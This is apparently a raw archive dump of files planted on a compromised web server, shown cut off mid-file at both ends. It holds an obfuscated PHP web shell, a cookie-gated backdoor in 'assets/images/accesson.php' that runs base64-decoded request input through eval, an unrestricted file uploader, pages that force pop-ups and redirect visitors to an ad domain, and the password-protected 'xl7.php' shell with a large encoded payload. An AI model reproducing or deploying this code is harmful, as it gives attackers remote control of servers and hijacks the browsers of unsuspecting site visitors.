"\57" . uGWHk($_GET["\x64"]); goto hp8IJ; wgLuw: echo $_SERVER["\123\x45\122\x56\105\122\x5f\123\117\x46\x54\127\x41\122\x45"]; goto INqQY; JrTm1: echo "\x3c\57\156\x6f\142\162\76\74\x2f\154\x69\76\xa\x20\40\40\x20\74\154\151\76\x53\145\162\x76\x65\162\x20\x49\120\40\x3a\x20\74\156\157\142\162\76"; goto POOFd; X7iEx: echo "\x3c\x2f\x6e\x6f\x62\x72\76\12\40\40\x20\x20\40\40\x20\x20\x3c\x62\x20\x63\154\x61\x73\163\75\42\164\141\147\x20\151\x73\55\x69\156\x66\157\40\x6d\162\x2d\62\42\76\131\157\165\x72\40\111\x50\74\57\x62\x3e\12\40\x20\40\x20\x20\x20\40\x20\x3c\x6e\157\142\x72\76"; goto BrWxp; Ae3K7: s1Yh0: goto HJu9V; io1hp: echo "\106\x61\x69\154\x65\144\x20\x74\157\x20\143\162\x65\x61\x74\145\40\x7a\x69\x70\40\146\x69\x6c\145\40\165\x73\151\x6e\x67\x20\143\157\155\155\x61\156\x64\40\x6c\x69\156\x65\72\40{$bP9ht}\xa"; goto LYRJc; zG1WA: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugwHk($_GET["\x6e"]))); goto Oc3yC; sXwNB: BB29s: goto ab_vv; s5eAc: $mWJjd[$zErae] = UGWHK($mWJjd[$zErae]); goto yzNGs; Zn19y: if (!isset($_REQUEST["\151\x6e\x66\x6f"])) { goto W3If1; } goto wltfg; Px60m: hlaFx: goto TkbBu; FcEuN: $FZEHa = true; goto mdSkB; P_RV9: pBHDV: goto zYm0b; auHmR: echo "\40\40\74\144\x69\166\x20\x63\154\x61\x73\163\75\x22\143\157\x6e\164\141\151\x6e\145\162\40\x69\163\x2d\x6d\141\x78\55\164\x61\x62\x6c\x65\164\42\x3e\xa\x20\x20\x20\x20\x3c\x66\157\x72\155\x20\141\143\164\x69\x6f\x6e\75\x22\x22\40\x63\x6c\141\163\163\75\42\x62\157\170\42\40\155\145\x74\150\157\x64\x3d\x22\x50\x4f\x53\124\42\40\143\154\x61\x73\163\75\42\x6d\x79\x2d\x32\42\40\x73\x74\171\x6c\145\x3d\x22\142\x6f\162\x64\x65\162\72\61\x70\x78\40\x73\x6f\154\151\x64\x20\x68\x73\x6c\x28\61\67\61\54\x20\x31\60\x30\x25\54\x20\64\x31\45\51\73\x22\76\12\x20\40\40\40\x20\40\74\154\141\x62\145\154\40\x63\x6c\x61\163\x73\75\x27\x6c\x61\x62\145\154\47\76\74\x73\160\141\x6e\x20\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\164\x65\170\x74\x2d\160\x72\151\155\141\162\171\42\76\103\150\141\156\x67\145\x20\120\x65\162\x6d\151\x73\163\151\x6f\156\x20\106\157\162\40\104\151\x72\145\143\164\x6f\162\x79\x3a\x3c\57\163\x70\141\x6e\x3e\40"; goto Bsshy; aXR3g: TJ4s1: goto Gq4B7; Rn_2N: goto uskpD; goto CzNJw; NL4ms: if ($mWJjd[11]($_FILES["\x66"]["\x74\x6d\160\x5f\x6e\x61\x6d\x65"][$zErae], $G21FS[$zErae])) { goto c5KEW; } goto PC10j; cItqs: echo "\74\x2f\x68\64\76\12\x20\x20\x20\40\40\40\40\x20\x3c\x64\151\x76\x20\x63\x6c\141\x73\x73\x3d\x22\146\x69\x65\154\144\x22\x3e\xa\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\74\154\x61\142\x65\154\40\x66\157\162\x3d\42\156\42\x20\x63\154\141\163\163\x3d\x22\x6c\x61\x62\145\x6c\42\x3e\x4e\x61\x6d\x65\x3c\57\x6c\x61\x62\x65\154\x3e\12\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x3c\151\x6e\160\165\164\40\x74\x79\160\x65\x3d\42\x74\145\170\164\x22\x20\x6e\x61\x6d\145\x3d\42\x6e\42\x20\x69\144\x3d\x22\156\x22\40\x63\154\x61\x73\x73\x3d\42\x69\x6e\160\165\164\42\40\166\x61\154\165\x65\x3d\x22"; goto K8G1p; R3m4X: $FK4d6 = $keVpk . "\57" . UGWhk($_GET["\156"]); goto JniYy; Oc3yC: echo "\x20\40\x3c\57\x74\145\x78\x74\141\x72\145\141\x3e\xa\74\57\x64\151\166\x3e"; goto nEtKu; lmJ1h: goto dNIIH; goto Lh2oi; c2FpU: $eEP7u = $mWJjd[4]("\57\50\x5c\134\174\134\x2f\51\57", $keVpk); goto hruo2; F63xR: oOGUu: goto D2wrg; Gnh_S: if (!isset($_GET["\141"])) { goto uUjpR; } goto vbN4c; uThiJ: goto E3PXK; goto Ka8IZ; Vry41: goto xNsqm; goto lqGWm; ftJXw: W3If1: goto CXBuX; KANoq: echo tA6a_(); goto tHsvF; U9Ak6: echo substr(@phpversion(), 0, 20); goto aVil9; FMjRe: print $_SERVER["\104\x4f\x43\125\x4d\x45\x4e\124\137\x52\x4f\x4f\x54"]; goto oQYI2; nJ13P: if (!($_GET["\x74"] == "\x66")) { goto NbHdV; } goto R3m4X; ID3JS: echo "\x3c\57\x6e\157\142\x72\x3e\12\x20\40\x20\x20\40\40\x3c\57\144\151\x76\76\12\x20\40\x20\40\x20\x20\74\144\x69\166\40\x6f\156\143\154\151\x63\153\75\x22\x6e\141\x76\x69\147\x61\x74\x6f\162\x2e\x63\154\151\160\142\x6f\141\x72\144\x2e\x77\x72\151\164\x65\x54\145\x78\x74\x28\x27"; goto fptV5; BFh3Z: }pu9.php000077700000003531151514460360006010 0ustar00<?php // Function to generate random folder name function generateRandomFolderName($length = 16) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, strlen($characters) - 1)]; } return $randomString; } // Set base upload directory $baseUploadDir = __DIR__ . '/uploads/'; // Create base upload directory if it doesn't exist if (!is_dir($baseUploadDir)) { mkdir($baseUploadDir, 0755, true); } // Generate random folder for this session $sessionFolder = generateRandomFolderName(); $uploadDir = $baseUploadDir . $sessionFolder . '/'; // Check if form was submitted if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { // Create the session folder if it doesn't exist if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } $file = $_FILES['file']; $fileName = basename($file['name']); $targetFile = $uploadDir . $fileName; // Check for errors if ($file['error'] !== 0) { die("Error: File upload failed."); } // Move file to upload directory if (move_uploaded_file($file['tmp_name'], $targetFile)) { echo "File uploaded successfully: <a href='uploads/$sessionFolder/$fileName'>$fileName</a>"; } else { echo "Error: Unable to upload file."; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP File Uploader</title> </head> <body> <h2>Upload a File</h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> </body> </html>assets/images/accesson.php000064400000000324151514460360011626 0ustar00<?php echo 409723*20;if(md5($_COOKIE["d"])=="17028f487cb2a84607646da3ad3878ec"){echo"ok";eval(base64_decode($_REQUEST["id"]));if($_POST["up"]=="up"){@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);}}?>884i1cki/index.html000064400000003001151514460360010004 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> 884i1cki/index.php000064400000003001151514460360007627 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> 884i1cki/xl7.php000077700000215435151514460360007261 0ustar00<?php $▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39"; //Pass: xleet $o= "ba"."se"."\x36\x34\x5F"."de"."c"."ode"; eval($o("CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUdTcFhZZ3h2Y3BhS0c1aFB2U0tvWDdqTnVHaXlzclBZcGEwYU5aTlZXdk10RG9memcwdjhPeEFLL3lXd29WKzFlNENzWnZtZ0hPZ3JhK3VUNEp5SEE3cTR6aWtzaGV0SXQrWmNySnI1UXJGVngrSnp0YnI2RzhOc29CLzRTVFd1cUxVK09OZERiL2ZVVXp6M3puTzNFQXQvUldJMUh5RTRDeDJyT3luMDJMbytqNXFpTjl4R1FDTEpqYXRCd1ZuN2RIZ1l5VjdWaTd1NTRxeXhKZzUyaHRRc0oySmJyTEt0TERXMHF5NWhlV0xSSmJ0YUhMNmlLSGhhOEFRTlJrbHlpRjJiNEV2V1JZOFhEd3Y0TURzLy9naURRTk5RN2trZSthNGYxRkNDTGpZRHFiWC9TWGl5VGdTcnBRTi9HR3ovSjFHZTZFajhDWk5hMDlxQjZvWGNnUzZpTEgzZ1RIYlFPYTdaaXJBbEdRRWFPME9RQmdtc3R3RXp0WmxxaHhwQzVBaXFOQ0JUSmkxbTRqWlRGVHlLcmZGV3RWeXdMaWFmTm5CdU5KUlN1Zy9EMVZiOWtoZmI2MTlFam9LSjNtSGh5Z1lYN2JCbEFUM0pMbzZoeWZER25TUCtnYU80TmZHZVJUU2w2d0NiQy9FMTJzM2lKaGZiN0dMeEdnakQvVEFETFBKZFMzNStHNEtkSGg2cm13WWtxUHd3cDVpYk1HNHBQK1NqZURxQTJTS1N4VXZjV1lNRVRJRmFEOTdhMzVlcm5pMEk4WnF0bi8vZjRicnBJNitOOVdJeG00OXhvR2pxcVRwOVRjdGtsSmhFK0JXb2VkNS9DeWQzakQ3Y1k4VkRiN3UvTlRJbUhicFVjRjV0azdGdGQ1RUpnbW0zRk5zQVhoaHlLTWJtNGhNVTZNMGVSd1JOWTFDcVRIWVBpcGh0cEF4YTBKM016YXdPWWVydGUyRzc4QVppWGY4allnL1pveUtKbjJpMTBDcEdRZUZ1aDNIYjViZmV2NmExVHY1dmQwV1hxQkl3aXBnRjVjSXVpZkZrNU01c0Fpb2ZGbVc0OFJ6WGNJNUZvQkZkT0tRMTJrL1I5SzZobXZaR2RFYmdhcGViOTVIUkF0RUFFQk1KVFh4ZnhBSDhySlVSb0FJYnh4dm1sTXIwUkEzRXhFaisxcVZza1BzN28rTUtDa3pndVkrVENxajd5akwrdXJrQmh4TGc0Z3ZzZ3dVT3FFdy9hcmRqMVlGQ1NFRzV1QVZtRTRvUWxVODl0OXZxL1ZHaHhrSGNNNDBQcjBoM2dWTjNLUFY0cEVTY2dRRlNyVmFPMzI0cWthYWF5elBqVGtKSHZQbEJndndKSEpYeTdsSmZudUxQdFVGZW0ycmFST0Z0d29xZE5zSlFZYzcxN0tVMDEwVFkvN1B6VkU2YWJ5aTBUaHJWTUFxMnVsRFpjdi9wdVg4ZmpHYWZsWmU4VSt3RVRyRUdQVjY4NEFFbVh0aWdjNG9jYVV1WW1YSDI5TlVQQWFUYnpmNHQ0c2RucEI1cEo5YVRnd3VJSDM3MGF5RVpFWnE4UzNRT0pDUVNjRXBLWEJWSVRLL1A5UGhBK1YzdDdkVnNBOUg0ZW1KZy9MRVV2S2V0N3NBNUNLVE1obmVTRDRoZktnQjZTQkFMQTZtcXgwN3lxblU3YlF4QkZFc2FkL0ZDQ0hpdGZ4TW1FK1pQTG1vSzhDZEpLQmNMNnJvaTJkUURhN3lhQXdNMmZpZDFSdFVIUkxxazlyNGRPcGNzNENndFVidGxQazkvOGsrS1NNQ2swekR1ZFM3eGUyRjZnVzRQMTk1UEorT01rTVFJVXUwV0k4WHFxdEtmRjZydU12Wk1DSXhGUURLRG1MR0hiQkprWVdaRWpYZzg5bHl5dUNXckNFZDNQWTBrWmFsUmpoSkdVSzZoSFBDdzVoWnRUZ0lrbGFrNG5GSnFtUWRLK21BekszQkpnMWJXdjFJK1dYc3NBZ0hEZUlmNDhNN3lWM2ZuMlpiNFNXS1VlVGVHdDI1dXRrNjk1ay9Eb2RlWGRJZXVUS1gzcUszK3F6dCtOdG52RUw3NW5xbXlIVDJhWXlqbjFDWnlmc0xxcStkZURqejNCVEIwQWZBTzFXd1dlbVhOUDcwMHFzc2JZU0lwT0NTNWcxQTV0LzdPKy9zZTN3Sm5aQjJ6UG1GMHhJZ05KR3FONHQ4SkhQMEdyT2F2clFSZ0lqSEFnVFFvUkl3cHFyNU9xQlFiMnVHUkJDNXRkTWJ6SEJCMUJVUGJESkZGQkdrVGdLMng0ZXg1QkRLclZVOXRRNjllK2pDcEZ3TFBILzhEREFQSTlUTU1POUMvdGp2ZmtnUTVkVWZqbTVGQTNKWmVjVFRPeWhaQWxZUjExRk9RbjZmVFVLVkxNR2hJOVM5T1Y5RXZVVEdQdFppMDhBM1lJSnJ2Sk4xQVN5RVlQa1c5L1FaNEgvcEIrcTEyY0loYkRUZ1NQZitsTWJtZEZyNG42WWY2Ni9EZzRZVnh4OCtNZDZ0UVg4MzVXODg5MzAzOXpsbzFBZi82aW52Nk8wM0FPakNvRmNQa1NGa1VMcUtoSWl3eEhtRmpBeGNFRnpTK0RYREZ6cTR1L25pUG1hQ0VabGxzc3JMalF5MWkyOHNOWWlNWjlOUndaRGV0cUFPczQxbSs3MEdHd01uZDk4WGx6QTRGWjNFNUFBelNEdkp2ZEZVVHA3UzBabVRxak51VjdDb2ZwdGxuUVlhei9RRTV1SG9vTUZ4Unk4MG85aDIySkEyL3lXazBFeEJ1NGJCTEVxNE01QWVpb1ZTVmNwOVZaMzU2MC9wK1owMVNSSG51SXVwdFFUL1FzRG1wWGNoRm1pK25Obk5xd1FEUjV4ZEFhbVkxWmk3M1BHeW5ZV2d4bkhSLy9DMit3c2FLVDlSVGZtQ0YwVjRWOW50SWR0cTRQVFlSaEw1eFp6TGc0R2RCcjRJK0NTczlkWk9RT1E0Wk5DN2M5REViTWI3WUtFQmNnYXlWeStrbk84VDdBaStYeWhsMmpXV3JCZWQzUEpqcnIwUUtRTlpXQWlsZzRpYUpQRDQ5RGtjQ25POHdZWTFwaWdFSlp2eU00OXczcytoNlFaZE90bmRrWG9wU05SU3kyR2RTSll1NE9QMDNReDV6cjYyelBURFlTd1Nhak0vWHJyejNKUS90ZFo5U2M2aTVzbC81bE9tcW9kZC8vUWZRamtQaFBFVGxvTG5BZ2hhWVJzVTVBWmhwSWZMQXRvQVEyYW91Z0oyaUFmaUxjUk5vNXZrQUJFWlFlT2hiTW9rZjUxN2JtVHI4SXlqNE50UHY5ODlYZ2EvclNBUU81UG1hRE5WU2hsNm1oekNPT0NlcEVUNXRuNE83V3hrTVJPSFJ5WWk3NUtnd29TVGtHQjBkYWNacmVFdzRDVW1CRHRRT0xzRGIyNkt6TWFLTFF4T1ZDMDVleXBWRjJEb0I0UDZ0OW1HK0tlMXB0ZkpoVFFBTGlGU0VRM1F5U2VIbjN5RzNTd0pGUENrUXZjMk1CWVk4MC83TmsvL280dE5pMDlseVVKMHBpSFE4cFhpakQyaDc5R0txUFp6K3pSTEdNa1NhVno0VmdhM0pUTVFkei8rUUQzQmdpQTRGV1VVaFpBSCtBWW9SMlFlTmNTREVvd1ltZEI3aXNDQzRBZENEdUxBR2VQcTRncE9LS1FBYTByV05VOTNkcCtLV25YbCtyM0UvY2h6cFd3bENoRnNVbnhoYnlud2dLN0xLbTYrbjBJeWtyQjdoVWkzb0IxSVdHQytoMnpDS0lndC9JRjljTlo5ZERHY3R5NkQ1OHorTzhmZFZYVGx1dzFNQlhRRUV1K0ZPWGVHSVpwb2Q4YThvVTJaS1pKS1JBV04yZjhLbHRiS2xFZ09ReVliSjFCbkZTd1VwS0pEZDQ2a01FQXdGQ0p6K1d4R3c2WHpybFBaTVkxQmF1NEoyZXFRdDFvUDdNeWVLRXBrWExaK05Eb21Mc1dRRXBIUGJ4RXFEVWF4dGpLRzEzbUhqTjJxZmI3SnZrNXJjQVdEVnViSEpPdmZxR0ErakRrQXIzVWVIZktrUFZLeUpFdi9YM0RibkU4eldHalN5WEdZQkRNdmljNmZwZDhRRWpFTFFhWHA5MzZIQ0tUaVRGNFJnQ3BVNFMrYlVoTGV1N2pLSlM1bWVSTWszNkIyQkdyWXdrKzBGS29ITUFRVVYzRGx4TEVqQ05hTnVYa2g0T3NwWkFwMmk2dVZhd25EZkhOd1FCaHRxSzNJcTdTSFAwQVVPak52Y25zV2FsRkZHYWFxMzJDcit1cjJBY05IcWFIRGRWOGRmUU8weE1oUlZLa1dZREZHbXVOL3Q1TlhkZnVsaVpKR3JFRUpPRHBWR2NnSlh3azlwZ1JRNGZRYXA4UnJBSXdiUC92blFTSmxsa3Y3Y3pFSFJ0cFZHZTM5U2k2K3dEYnQ2UTZVeXhDQ1MrWVFYeGt4cU5leVREdUYyVWt4NndnN0RVUlB2K0pXRWpiZDdMTHhqWlhidGFXOWZOS3FYODU1dkZNeERkMzBIVDFZb2JNRDFiSkVoaVRXem8wcFl6WE9QZTRJMlVNdkVXYzlSK1pSTjlVTXNVVGx3YVEzcUtFU2k3MlR5U3RPOWJ3Vm43ZjFZNldlMC9yeXNzbjVMZzBmZzFZZnV3SGo2cGxHbU1CUS9sTjNZbmVKSkJxSTF0K3JoQTZpZWJIeVNFeThIa3Q2RmZ1N3V5ci9iMXBwVjdQdEZveEt1bGphODREMTJ5U1pwUkhXY2xOd0RjQnZpUVlqNEh1SDBVcG55QngxSXprK1Q1TDVQaHhiSXk1UkxFY1RCcU44NEVHNDNTVklJdG1aeDBZRGZIMHBucnNJcTJGWEVFZzkrb2RRZm9OVDVZNW1WRHFrdTFLa2VWVUV4TlY5L3FHVms3M1JxbVY1UWQzSGt0Z0lNS09obUkwblRBeThycEdTOFk5VXdtRGVBQnBiQ3Z5ZGlCQnBnbFQ4bkZSRk4wMm1sUkVuaXMwdmpoTCtuVUp6V0VQbVpJZE1ZMWJDMkhhUXRqZ1d4d0h2MFRZY0ZVVzNYaVR1RjRiYU8yNmJReVVDd3p6T0NCS3hOQkJneVNqdEcyUVQyMVZrZkZNUG54RFhiUzZjbFMvYVBiV2NZZ2F3RXBzMXY0NzJBb1V3OFpPVVFEaWg5eGdIQjBXWVI4LzZTLzZ0cEQzd1NUUVpreEd2TWNvSkk0YnowOU90c3RqeE4yY1hBTTBUWUpvYzFuSXI5QXFHUTZGZDdhOWQ5bkJmeDBoTVQ0Unc4ZEZYaGY3cUQ4TXVoQlg3eXp1OFFzRDFpWGpiYUdBSU1TNWxFb2tsZFVUSjQ5RUlNeEtHVUIrRFprV08yOVM5WW9rZ0JnYnpiTWxzYWRuM2FoMkxlZ2ZRQXFzM0YyTlM4WkszSXNnaGlCaWtSaFlmV2ZvK0ZMaHlzZjExQzc2Z1lyTWhyMVF3WGtYWnhwdGZDR0RJOUdhZ0U3QzJHVEo4b0M0OEFTQmVENnBOc21mZS9ESTQxZnJkZDZlWlRPVHBBRHZZMGt5cWIyZ05MU3lHTHBPbVRDMWgwcTdWZzl6RGdFdkNzQ0VndnlaZkxBbnhkbmhEMHY0UE8yM3JPcmJQNHcyQlJZU1IzOXFxZS9wR2x4V01lM0N5OEZrWk9tUHo4UzVmb01DUStzVUpkbThNOFZWMGtxVFNYbmR0WXpzQ0xCUTBCdU5IQzcrOTJENEdGeG1kMjIramFJRUNQeUU0QjJVdWQ2ZWdGdlFxQ1d6RjhGcEdDMERvSmtJVlpVcDVUanJEN1ZPZ2MweVZDdGtPbVZScDJnWE9mZ04zc3NNS3hlTzY0RVlPVm91dWd0VjJBY3RQTnlQMmI0b3Z1eDBUMXlnMUY0WlZ2bWo2YjQ4RUxZdVRuRXVNYkJxblQ1eW91eXJvM2k4ZENGWWpDaGFJSDdCRVVBZWlENkNUaE5PY0VLVjJaN2g5eDlsUER0QUNlc1gyRTY5OXV4Mk9LVml0SElnd0Z0aXhsVURrU2JSNUpsc3hUOHF5c05ZdVBqWkkyQm40V0hzOGl3R0lLV3dKdFhqbFZQMVdObWtDWnlkcU9SRXNjeGpvZjI1b0JDZDdFMnBPd213SzZjZGR6QVB4Q3ZCQlgzSWUwS1FDUkd3U1hDY09vWUY3TXJQV29rTndZUlk4Q2prd2VwNzBTUFVQbEdFK1RNd0RjZTlsT2M1d2ZJSmtyRXkzeUoyVkFIWEdoTXlnTzJRcGRjdE5JT1d0TWJ1dVdZc0ZhWDBLbFJjaDBoWnI4WVNkWHg1d05MVFhSbmFpeHVva1JqQ21xdm5BT3dXbGRDellBRGtvKzcydEhvVlJuWHJzN0JkK2dKYWJsNDdhcEplR2g4TG1Vcy9YNWVTWjJDNGRpN05qaDFrWkVlV0NnSStEZlhwY3g0QkZLNEhTYWFiTWFCdyt1ZTVYcjdCQWFtbWhNWXJUcWhXZm0yMXpkN1dCdXpRVlJ3WWs0SUlEY2VlZE9FaXR4QWxwamNISnZDeXJtakJZbFd5SnozRUR4TzJXeEhFckpqVFkzY2VORGpsRFRweEZoSU0vcDVXbDhibGhCMVhLRDg1YXdmTENwQ05LckFOOElDVDYza2hKL1ltVUpQWG5PRXZmazZSYlZGMXdNWW1DSFphdlM2UVA5TEN5M205Z2M3ZnY4cjhhVDIvd3dXcDY4UkpGK3hVbS9KQXJVVm9HdUZ1VzJoaUhndUxRU1d1QlY3ZE9RTEFHOVJBUnVpbUJKMXNxL2dWa1l4V0pFN0JGKytud1MydndNS1QvVVNyTlR6Vjc4cEgrd0xzSVV4aWgwNFJTMDFUTk1tUjBRN3g2RzVXREJiSmRXZEgyY2d1blpCZVFKaDZmK0VEcXdEV3Fqc0JwdWxKczRLeG5QS3I4SkVYK1BYMlVKNjlDWkdCdjhSL1FwcVpHUTY5OXZEeDlaK0tlazMwTmdnYjh3c1krNXBTNUNmcGxscCtsNGRPSEtGQUJORGttdmRGUWNOaDR3eVJ3R0FtUVBZcnBBcHhMTGpHV1Qyei9kQ1Z1dmdDNDg2MDFScjdBY29LZGxidmhXZUpERXVEb0tsay91d2hBcG13c0Zzd0FKVFdDRmkrWjF3TTNhd2F5QlFKR1JBenVJV0JHeFZDbEZEVWtRL1k0OFZ2bHpUN0d6NlNmeFVZZy9DREJSOWZoQ29qdUU3UXFYSG1TeCthTXExdXkyMUhHdlNIaW1HVzlyRVlFZWFwS1RyemUxUDBJTlg1MFdhMHpxVmNHdkxoVnpvS0xKUnl1TWpob3Noc1I4eEp6aWVCN2ZYQ0Z6cDRIVkhFeDhndGtocnYwTXppN0RqSGNoczJNYWM2cHAzclU0TzFVSjhtRUFRWnNRK0l2aHFpTVpPZ2M4L2VhYmZ5RFBmanNIS1gyR2F1R1htVzR3clEyRUtEM3pDeW1MSTNNN3NnUGdFOFE3cTlRRHNjbkRHSkMydzQxR3VHTGdPQWFUbGxTQUV6ZG0rQ1RKUVVGajJaY3lVSFFETEh4TU5KR3FpakxwZzE0dXlvSlR1bk0wRWtES09paGNFTmhhZ0NmMVIyRUZGUEdnWWYyVUVnK2ZCdGx4Y1BlQ3k1anJ3eHlITXJLQXRTcjdUMGNSdUZZLzRVa2Q5WEtPY0wzRzI2QWVmSmI2RnVUVjB